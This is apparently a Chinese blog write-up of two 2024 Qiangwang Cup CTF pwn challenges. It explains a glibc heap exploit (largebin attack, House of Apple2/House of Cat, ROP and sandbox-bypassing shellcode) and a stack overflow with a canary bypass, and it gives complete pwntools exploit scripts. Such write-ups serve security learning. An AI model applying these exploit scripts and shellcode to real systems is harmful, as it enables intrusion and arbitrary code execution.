Fork me on GitHub

2024强网杯部分pwn

字数统计: 2k字   |   阅读时长≈ 9分

题目名称baby_heap

操作内容：

这道题说实在想复杂了，也算是我知识浅薄吧，看到那个环境变量没想到怎么用

跟对队友交流一直在用io进行攻击

两种做法：

先说我们最开始的做法

主要手法：一次部署并largetbin attack+House of apple2 + house of cat +rop+shellcode攻击

存在uaf漏洞

首先堆块申请被限制了且只有一次修改的机会

1730967042543

这让我们非常的困扰如何进行IO攻击

我给队友假设我们可以在一个堆块里控制bk_nextsize为_IO_list_all-0x20的位置，并部署好IO_FILE结构体以及_IO_str_jumps表的内容

然后我的队友想起来了曾看过学长的文章有关这个内容

https://zikh26.github.io/posts/19609dd.html?highlight=house+of+apple

最终得到了答案，在申请一个同样大小的小堆块即可

1730967058971

解决了这个问题

1730967068121

此时并为申请小堆块

申请小堆块后

1730967075921

就可以达到一次性largetbin attack并部署IO结构

进行部署IO

1730967081753

先进行了house of apple2的构造

但是但是house of apple2是不行的，本题开启了沙箱

1730967090227

禁用了execve显然无法直接利用house of apple2的控制执行流就能攻击成功

利用house of cat

把_IO_switch_to_wget_mode中最后调用的最后调用的[rax + 0x18]设置为setcontext

1730967096674

你会发现rax的位置在我们的IO空间中

1730967102826

然后就是劫持程序流到我们我们的rop链上

1730967107695

先用mprotect申请一段部署shellcode的地址

1730967113880

然后执行到shellcode用openat2(系统调用号为 0x1b5)绕过沙箱

将falg读取出来，多亏队友我都不知道这个函数

1730967117889

然后用sendline将flag发送过来

1730967140409

此方法未用到一次任意地址内容写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
from tools import *
context(arch='amd64', os='linux', log_level='debug')
p=process('./qw3')
# p = remote("47.94.237.181", 28870)
e=ELF("./qw3")
libc=ELF("./libc-2.35.so")


def add(size):
   p.sendlineafter("choice:",b'1')
   p.sendlineafter("size",str(size))
def free(idx):
    p.sendlineafter("choice:",b'2')
    p.sendlineafter("delete:",str(idx))
def edit(idx,content):
    p.sendlineafter("choice:",b'3')
    p.sendlineafter("edit:",str(idx))
    p.sendafter("content",content)
def show(idx):
    p.sendlineafter("choice:",b'4')
    p.sendlineafter("show:",str(idx))


add(0x718)#0
add(0x600)#1
add(0x708)#2
free(1)
add(0x900)#3

show(1)


p.recvuntil("\x65\x20\x0a")

addr=u64(p.recv(8))-0x21b190
p.recv(8)
heap=u64(p.recv(8))-0x1950
log_addr("heap")
log_addr("addr")
io_list_all=libc.sym['_IO_list_all']+addr-0x20


IO_wide_data_addr=0x002c90+heap#file_addr
wide_vtable_addr = (heap+0x2c90+0xd8 + 8 + 8)-0x68
setcontext = addr + libc.sym["setcontext"] + 61
flag = heap + 0x1a40
rdii = addr + 0x21b570 + flag
one = addr + 0x10d9cf
gets = addr + libc.sym["gets"]
ret = addr+0x216f88-0x18


pop_rdi = 0x000000000002a3e5+addr#: pop rdi; ret; 
mprotect = addr + libc.sym["mprotect"]
pop_rax = addr + 0x0000000000045eb0#: pop rax; ret; 
pop_rsi = addr + 0x000000000002be51#: pop rsi; ret; 
pop_rdx_r12 = addr + 0x000000000011f2e7#: pop rdx; pop r12; ret;
syscall = addr + 0x0000000000091316 #: syscall; ret; 
fake_io_addr = heap+ 0x1950


next_chain = 0
fake_IO_FILE=p64(0)*3       #_flags=rdi
fake_IO_FILE+=p64(io_list_all) + p64(0)*2
fake_IO_FILE +=p64(1)+p64(2) # rcx!=0(FSOP)
fake_IO_FILE +=p64(fake_io_addr+0xb0)#_IO_backup_base=rdx
fake_IO_FILE +=p64(setcontext)#_IO_save_end=call addr(call setcontext/system)
fake_IO_FILE = fake_IO_FILE.ljust(0x58, b'\x00')
fake_IO_FILE += p64(0)  # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x78, b'\x00')
fake_IO_FILE += p64(heap+0x1000)  # _lock = a writable address
fake_IO_FILE = fake_IO_FILE.ljust(0x90, b'\x00')
fake_IO_FILE +=p64(fake_io_addr+0x30)#_wide_data,rax1_addr
fake_IO_FILE = fake_IO_FILE.ljust(0xb0, b'\x00')
fake_IO_FILE += p64(1) #mode=1
fake_IO_FILE = fake_IO_FILE.ljust(0xc8, b'\x00')
fake_IO_FILE += p64(ret)  # vtable=IO_wfile_jumps+0x10
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40)
fake_IO_FILE+= p64(0)*7 + p64(heap+0x1aa0+0x10) + p64(pop_rdi+1)

rop = p64(pop_rdi) + p64(heap) + p64(pop_rsi) + p64(0x3000) + p64(pop_rdx_r12) + p64(7)*2
rop+= p64(mprotect)
rop+= p64(heap+ 0x1b00) + p64(0)

shellcode = b"\x48\x31\xff\x48\xb8\x2f\x66\x6c\x61\x67\x00\x00\x00\x50\x54\x5e\x6a\x00\x6a\x00\x6a\x00\x54\x5a\x6a\x18\x41\x5a\x68\xb5\x01\x00\x00\x58\x0f\x05"
shellcode += b"\x6a\x01\x5f\x6a\x03\x5e\x6a\x40\x41\x5a\x6a\x00\x5a\x48\xc7\xc0\x28\x00\x00\x00\x0f\x05"
edit(1,fake_IO_FILE+rop+shellcode)

free(3)
add(0x800)


add(0x708)
log_addr("fake_io_addr")
wide=fake_io_addr+0x30
log_addr("wide")
mi=wide+0x80+0x68
log_addr("mi")
debug(p,(addr+0x85782),(addr+0x53b2c))
add(0x600)
p.interactive()

第二种写法

将环境变量内的flag读出来（我感觉这应该才是正解）

泄露完libc后

利用一次任意地址将写把改为puts，且第一题

1730967155737

1730967171402

将USER环境变量换成flag？这样就可以作为我们后续的参数了

1730967177727

且环境变量会作为第一个参数

这样就可以打印出来了

1730967263971

最终的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from tools import *

context(arch='amd64', os='linux', log_level='debug')
# p=process('./qw3')
p = remote("59.110.156.237",36906)
e=ELF("./qw3")
libc=ELF("./libc-2.35.so")
def add(size):
   p.sendlineafter("choice:",b'1')
   p.sendlineafter("size",str(size))
def free(idx):
    p.sendlineafter("choice:",b'2')
    p.sendlineafter("delete:",str(idx))
def edit(idx,content):
    p.sendlineafter("choice:",b'3')
    p.sendlineafter("edit:",str(idx))
    p.sendafter("content",content)
def show(idx):
    p.sendlineafter("choice:",b'4')
    p.sendlineafter("show:",str(idx))
add(0x700)
add(0x10)
free(1)
show(1)
libc_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-0x21ace0
ABS= libc_addr + 0x0000021A118
log_addr("libc_addr")
log_addr("ABS")
p.sendlineafter(':', b'0')
p.send(p64(ABS))
puts_addr=libc_addr+libc.symbols['puts']
payload=p64(puts_addr)
p.send(payload)
p.sendlineafter(': ', b'5')
debug(p,libc_addr+0x44e39)
p.sendline(b'3')

p.interactive()

题目名称expect_number

操作内容：

最开始一直在尝试找到可以直接跳到后门的地方一直没找到

然后去cat gift发现啥也没有

最后发现我们读入位置的第一个有个地址，好奇看了看就找了到了新大陆

存在栈溢出的地方，然后就绞尽脑汁计算修改0x60

整体思路：

\1. 利用算法进行改写对应影响rdx的值bss地址里面地址的低位改为0x60

\2. 打印出来程序地址，得到基地址

\3. 跳转到rdx对应的存在栈溢出的程序段

\4. 覆盖返回地址到后门函数，且利用c++的异常检测绕过canary

首先分析代码

1730967273996

存在一个 call rdx

1730967313984

重点函数，存在逻辑漏洞

1730967304902

每轮经过计算可以往*(a2 + ++(a2 + 8) + 12)写入值，结果会在下一轮赋值在进行计算然后放入下一个(a2 + ++*(a2 + 8) + 12)

1730967321530

计算的规律取决于v8，v8的种子是1，所以是不变的

1730967328094

且call rdx的rdx中的值取决于我们写入那个bss段+0x120的位置，且我们只要写的次数道280次就可以改这个值

1730967336029

1730967350505

把低位改成0x60就会执行到我们想要到的函数

计算过程（从倒数39位开始算的）

1730967356393

1730967361387

最终会执行

1730967364342

且我们要先show一下，泄露出程序地址

1730967371959

1730967380666

存在溢出，但程序开了canary

我们要利用c++的异常检测进行绕过canary就可以执行

1730967386227

​

最终的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
from tools import *
from time import *
context(arch='amd64', os='linux', log_level='debug')
p=process('./qw5')
# p=remote("39.106.54.211",26708)
e=ELF("./qw5")

def math(x):
    p.sendlineafter("waiting for your choice",str(1))
    p.sendlineafter(" 2 or 1 or 0",str(x))

def pri():
    p.sendlineafter("waiting for your choice",str(2))

def qqq():
    p.sendlineafter("waiting for your choice",str(3))


def back():
    p.sendlineafter("waiting for your choice",str(4))
for i in range(2):
   math(1)
math(0)
math(1)
math(0)
for i in range(3):
   math(1)


for i in range(3):
   math(0)
for i in range(30):
   math(1)
for i in range(2):
   math(0)
for i in range(18):
   math(1)
for i in range(2):
   math(0)
for i in range(4):
   math(1)
for i in range(4):
   math(0)
for i in range(2):
   math(1)
for i in range(2):
   math(0)
for i in range(162):
   math(1)
#_______________________
math(2)#1
math(2)#1
for i in range(5):
   math(1)

for i in range(3):
   math(2)
for i in range(3):
   math(1)
for i in range(3):
   math(0)

for i in range(2):
   math(1)
math(0) 
for i in range(3):
   math(2)
math(1) 
math(1) 
math(0) 
math(2)
math(2)
math(1)
math(1)
math(2)#0x30
math(0)
math(2)
for i in range(4):
   math(0)
   pri()
for i in range(3):
   math(1)
#________________________________________________________________
pri()

elf_addr = u64(p.recvuntil('\x55')[-6:].ljust(8,b'\x00')) -  0x4c60
log_addr("elf_addr")
back()
sleep(0.1)
payload = b'k'*0x20+p64(elf_addr+0x5980) + p64(elf_addr+0x000000000000251a)
sleep(0.1)
p.send(payload)
debug(p)
p.interactive()

扫一扫，分享到微信

tag:

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录（注意不是yilia-plus根目录）执行以下命令：
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置： 

      jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: false
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true

主要研究二进制方向的小pwn手，邮箱2216760375@qq.com,欢迎各位师傅和我讨论技术